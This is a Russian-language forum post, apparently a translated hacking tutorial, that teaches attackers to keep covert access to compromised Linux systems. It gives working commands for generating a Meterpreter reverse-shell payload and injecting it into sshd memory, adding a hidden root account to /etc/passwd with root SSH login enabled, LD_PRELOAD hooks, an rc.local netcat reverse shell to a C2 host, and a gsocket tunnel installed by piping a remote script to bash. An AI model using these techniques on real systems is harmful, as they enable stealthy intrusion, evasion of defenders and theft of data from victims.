Расширенное сохранение в Linux: стратегии, позволяющие оставаться внутри целевой системы Linux

  • Автор темы Автор темы LeSh1y777
  • Дата начала Дата начала

LeSh1y777

Пользователь
Регистрация
25/9/25
Сообщения
5,682
Репутация
49
Лайки
152
Депозит
-8.95$
Добро пожаловать обратно, начинающие хакеры!



В первой части нашей серии статей о персистентности в Linux мы рассмотрели основы — быстрые решения, которые позволят вам оставаться на связи после компромисса. Теперь пришло время перейти на новый уровень. В этой части мы рассмотрим методы, которые обеспечат вам большую гибкость, скрытность, а в некоторых случаях и большую надёжность, чем простые циклы оболочки, автозапуски и задания cron, которые мы рассматривали ранее.

Начнём с полезных данных в оперативной памяти, которые никогда не касаются диска, что делает их практически невидимыми во время выполнения. Затем мы рассмотрим сохранение данных при изменении конфигурации операционной системы. Вредоносное ПО не требуется, достаточно лишь немного изобретательного использования системных настроек. После этого мы перейдём к LD_PRELOAD — легитимной функции Linux, которая может незаметно подключаться к процессам и выполнять наш код, не запуская подозрительные двоичные файлы. Мы также поговорим о rc.local для тех случаев, когда вам нужен простой одноразовый хук запуска, а закончим с gsocket — мощным инструментом туннелирования, который может поддерживать соединение активным, даже если сеть работает против вас.

К концу этой части у вас будет набор инструментов, охватывающий как скрытный краткосрочный доступ, так и долгосрочную, несокрушимую устойчивость. А объединив то, что мы сделали здесь, с основами из первой части, вы получите возможность адаптироваться практически к любой постэксплуатационной среде.

В памяти

Бэкдор в памяти — это метод, основанный на постоянном взаимодействии, направленный на сохранение контроля без оставления криминалистических следов на диске. Вместо записи полезной нагрузки в файловую систему она внедряется непосредственно в память запущенного процесса. Этот подход привлекателен, когда скрытность важнее надёжности, поскольку большинство антивирусных решений выполняют ограниченную проверку памяти в режиме реального времени. Даже технически подкованные пользователи вряд ли обнаружат вредоносный имплант, если он находится внутри легитимного, уже запущенного процесса.

В этом примере выбрана полезная нагрузка Meterpreter, известный инструмент, способный работать полностью в памяти. Типичный рабочий процесс может выглядеть следующим образом:

c2 > msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=C2_IP LPORT=9005 exitfunc=thread StagerRetryCount=999999 -f raw -o meter64.bin

создание полезной нагрузки в памяти с помощью msfvenom

Здесь msfvenomгенерируется необработанная обратная TCP-нагрузка Meterpreter, настроенная на обратное подключение к нашему C2 на указанном хосте и порту.

exitfunc=thread Управляет очисткой полезной нагрузки после завершения работы или возникновения ошибки. Поток означает, что будет завершен только тот поток, в котором он выполняется, а остальная часть хост-процесса останется активной. Это критически важно для внедрения в память легитимных процессов, поскольку позволяет избежать их сбоя и возникновения подозрений.

StagerRetryCount=999999инструктирует стейджер повторить попытку подключения до 999 999 раз в случае неудачи. Без этого при разрыве соединения может потребоваться повторная загрузка полезной нагрузки. При использовании этого стейджера бэкдор будет продолжать попытки бесконечно, пока мы не будем готовы принять соединение.

С pgrep вашим списком процессов, в которые нужно ввести вашу полезную нагрузку

target#> pgrep -x sshd

поиск процесса с помощью pgrep для внедрения полезной нагрузки в память с помощью

target#> mv /root/meter64.bin /root/mmap64.bin

target#> inject_linux 1032 mmap64.bin

внедрение полезной нагрузки в память с помощью inject_linux в процесс

Затем утилита inject_linuxвнедряет двоичный объект в процесс, идентифицированный по PID, заставляя этот процесс выполнять полезную нагрузку полностью в памяти. Новый файл на диске не создаётся, и никакая служба или запланированная задача не регистрируется. Обратите внимание: вам может потребоваться переименовать полезную нагрузку в mmap64.bin.

получение обратного соединения

Плюсы: работает под любой учетной записью пользователя, крайне сложно обнаружить невооруженным глазом, не оставляет на диске традиционных артефактов, таких как записи автозагрузки или исполняемые файлы.

Минусы: не переносит перезагрузку. При перезапуске системы или завершении хост-процесса имплант исчезает.

Хотя этот метод не обладает персистентностью в строгом смысле этого слова, он обеспечивает высоко скрытое закрепление, пока целевая система остаётся включённой. В многоуровневой стратегии вторжения импланты в памяти могут дополнять более традиционные механизмы персистентности, предлагая мгновенно доступный и скрытый канал доступа наряду с долгоживущими бэкдорами.

Конфигурации

Устойчивость через изменение конфигурации отличается от типичных бэкдоров или обратных оболочек. Вместо запуска вредоносного кода он манипулирует настройками операционной системы, чтобы обеспечить возможность восстановления доступа в будущем. Поскольку вредоносная программа не содержит исполняемого файла, вероятность обнаружения антивирусом таких изменений гораздо ниже. Однако этот метод эффективен только при наличии прямого доступа к целевой системе и достаточных прав для изменения основных файлов конфигурации.

Один из наиболее распространённых примеров — создание скрытой учётной записи пользователя, которую можно использовать для последующих удалённых входов в систему. В примере:

target# > openssl passwd -1 -salt test P@ssw0rd123

target# > echo 'post:$1$test$dIndzcyu0SmwXz37byHei0:0:0::/:/bin/sh' >> /etc/passwd

создание скрытого пользователя с root-оболочкой

Первая команда использует openssl passwdфлаг -1для генерации хешированного пароля на основе MD5 ( -salttest задаёт пользовательскую соль, здесь «test») для выбранного пароля P@ssw0rd123. Результат — строка в формате, ожидаемом /etc/passwd.

Вторая команда добавляет новую запись для /etc/passwdпользователя с именем post, со сгенерированным хешем пароля, UID 0 и GID 0 (что делает его эквивалентом пользователя root), без домашнего каталога и /bin/shв качестве оболочки. Это фактически создаёт скрытую учётную запись суперпользователя.

Наконец, убедитесь, что вы внесли изменения в /etc/ssh/sshd_config файл, чтобы пользователь root (и, соответственно, учётная запись POST с UID 0) мог войти по SSH ( PermitRootLogin yes). Это гарантирует возможность удалённого повторного подключения при условии, что целевая система доступна по сети.

редактирование sshd_config для разрешения входа root

После этого перезапустите службу SSH.

target# > service sshd restart

подключение через ssh

Плюсы: выдерживает перезагрузки и не требует запуска вредоносных исполняемых файлов.

Минусы: Требуются права администратора или root для изменения системных файлов, неэффективен, если компьютер находится за NAT или ограничительным брандмауэром, который блокирует входящие соединения.

Этот метод представляет собой чистую манипуляцию на уровне ОС. Он не оставляет вредоносного процесса в памяти, но его успех полностью зависит от вашей способности впоследствии напрямую подключиться к хосту. При целенаправленных вторжениях он часто комбинируется с другими методами обеспечения устойчивости для обеспечения избыточности.

LD_PRELOAD

Использование LD_PRELOAD для сохранения состояния использует легитимную функцию динамической компоновки в Linux для внедрения собственного кода в каждый вновь запускаемый процесс. Переменная окружения LD_PRELOAD указывает динамическому компоновщику загружать указанную общую библиотеку перед всеми остальными, что позволяет нашему коду переопределять или перехватывать функции стандартной библиотеки в приложениях пользовательского пространства. Этот подход можно использовать для выполнения произвольной логики, включая создание оболочки или ведение журнала учётных данных.


Сначала мы создаем meter.c файл, который позже будет скомпилирован вmeter.so

target# > nano meter.c

создание файла meter.c для сохранения LD_PRELOAD

Затем полезная нагрузка компилируется с помощью следующей команды:

c2 &gt; gcc -fPIC -shared -o <a href="http://meter.so/">meter.so</a> meter.c

компиляция файла meter.c

Затем вы записываете путь к вашему общему объекту ( meter.so) в /etc/ld.so.preload. Динамический компоновщик обращается к этому файлу глобально, то есть каждый динамически скомпонованный двоичный файл будет загружать указанную библиотеку, независимо от того, какой пользователь его запускает. Для этого требуются права root.

target#&gt; echo /path/to/meter.so &gt;&gt; /etc/ld.so.preload

LD_PRELOAD=/path/to/meter.soЗатем вы добавляете строку экспорта /etc/profile, гарантируя, что для всех пользователей, которые входят в систему через интерактивную оболочку, переменная среды будет установлена автоматически.

target#&gt; echo export LD_PRELOAD=/path/to/meter.so &gt;&gt; /etc/profile

Эта команда делает то же самое, но только для одного пользователя, добавляя команду экспорта к его имени.~/.bashrc

target$&gt; echo export LD_PRELOAD=/path/to/meter.so &gt;&gt; ~/.bashrc

Преимущества : выдерживает перезагрузки, работает под любой учётной записью и может применяться как ко всей системе, так и к отдельным пользователям. Это позволяет внедрённому коду запускаться в контексте легитимных процессов, что затрудняет обнаружение.

Минусы: интервал выполнения не контролируется, поскольку код запускается только при запуске нового процесса, поэтому время повторного подключения менее предсказуемо, чем в случае запланированных задач или служб.

rc.local

Сохранение данных через rc.local основано на устаревшем механизме запуска в системах Linux. Скрипт /etc/rc.local , если он присутствует и является исполняемым, автоматически запускается системой init один раз в конце многопользовательской загрузки. Вставив команду в этот файл, мы можем гарантировать автоматическое выполнение нашей полезной нагрузки при следующем перезапуске системы.

target#&gt; echo "nc C2_IP 8888 -e /bin/bash &amp;" &gt;&gt; /etc/rc.local

создание rc.local персистентности

Это добавляет команду netcat /etc/rc.local, которая при выполнении подключается к нашему хосту через порт 8888 и запускает /bin/bash, предоставляя интерактивный обратный шелл. Амперсанд ( &amp;) запускает его в фоновом режиме, чтобы не блокировать остальную часть процесса загрузки.

Поскольку rc.localполезная нагрузка выполняется только один раз во время запуска, она не будет постоянно пытаться переподключиться. Она будет запускаться один раз после каждой перезагрузки. Если в этот момент соединение рухнет, например, если ваш слушатель не готов или сетевое соединение оборвано, дальнейшие попытки не будут предприниматься до следующей перезагрузки.

Плюсы: выдерживает перезагрузки и прост в использовании.

Минусы: для изменения требуются права root /etc/rc.local, а интервал выполнения не контролируется, он запускается только один раз за загрузку, не предлагая механизма повторных попыток между перезагрузками.

Хотя этот метод прост и малозаметен, его надёжность ограничена. В современных дистрибутивах Linux rc.localон часто отключен по умолчанию или заменяется служебными файлами systemd, что делает его скорее устаревшим. Для злоумышленников, стремящихся к долговременному автоматизированному сохранению, он обычно комбинируется с другими методами, которые повторяют попытки подключения или работают непрерывно.

Gsocket

Gsocket — это облачный ретранслятор, к которому подключаются обе стороны, объединяя исходящие соединения в единый зашифрованный двусторонний туннель. С нашей точки зрения, как злоумышленников, это просто идеально: нам не нужен открытый входящий порт на стороне жертвы, нам не нужно бороться с NAT или переадресацией портов, а один облачный брокер становится командным сервером для множества целей. Долгоживущие исходящие потоки, подобные TLS, сливаются с обычным исходящим трафиком, поэтому соединение выглядит гораздо менее подозрительным, чем незащищённый прослушиватель.

Нам нравится Gsocket, потому что он значительно снижает операционные расходы. Требуется меньше инфраструктуры для обслуживания, а показатели успешной работы в сетях с ограничениями значительно выше, поскольку все данные передаются извне.

Вот как его установить на целевой объект:

target# &gt; bash -c "$(wget --no-verbose -O- <a href="https://gsocket.io/y">https://gsocket.io/y</a>)"

target$ &gt; bash -c "$(wget --no-verbose -O- https://gsocket.io/y)"

установка gs-netcat на целевой сервер

Затем установите его на свой C2 и получите к нему доступ с помощью секретного ключа.

c2 &gt; sudo apt install gsocket

c2 &gt; gs-netcat -s “secret key” -i

установка gs-netcat и подключение к цели

Более подробную информацию можно найти здесь:

https://www.gsocket.io/deploy

Плюсы: Скрытый способ установления удаленного доступа, переключения, кражи данных или создания бэкдора, особенно в сложных сетевых средах.

Минусы: оставляет следы, такие как постоянные скрипты или шаблоны доступа к сети, а зависимость от общего секрета требует тщательного управления секретами.

Краткое содержание

Во второй части мы отошли от основ и рассмотрели методы обеспечения персистентности и доступа, которые углубляются в скрытность и адаптивность. Мы начали с бэкдоров в памяти, которые отлично подходят для ситуаций, когда избежать обнаружения важнее, чем пережить перезагрузку. Затем мы перешли к обеспечению персистентности через изменения конфигурации, например, создание скрытых пользователей в /etc/passwd, которые переживают перезагрузку без необходимости запуска вредоносных процессов. После этого мы рассмотрели LD_PRELOAD — трюк с динамическим компоновщиком, который незаметно внедряет код в обычные процессы. Мы рассмотрели rc.localбыстрые хуки запуска в стиле legacy и завершили gsocket — инструмент туннелирования, который может поддерживать связь даже через строгие брандмауэры или NAT.

Вместе эти две части дают вам многоуровневый подход: быстрое и простое упорство, позволяющее удерживать позиции, а также скрытные и продвинутые приемы, позволяющие сохранять контроль в течение длительного времени.
 
Назад
Сверху Снизу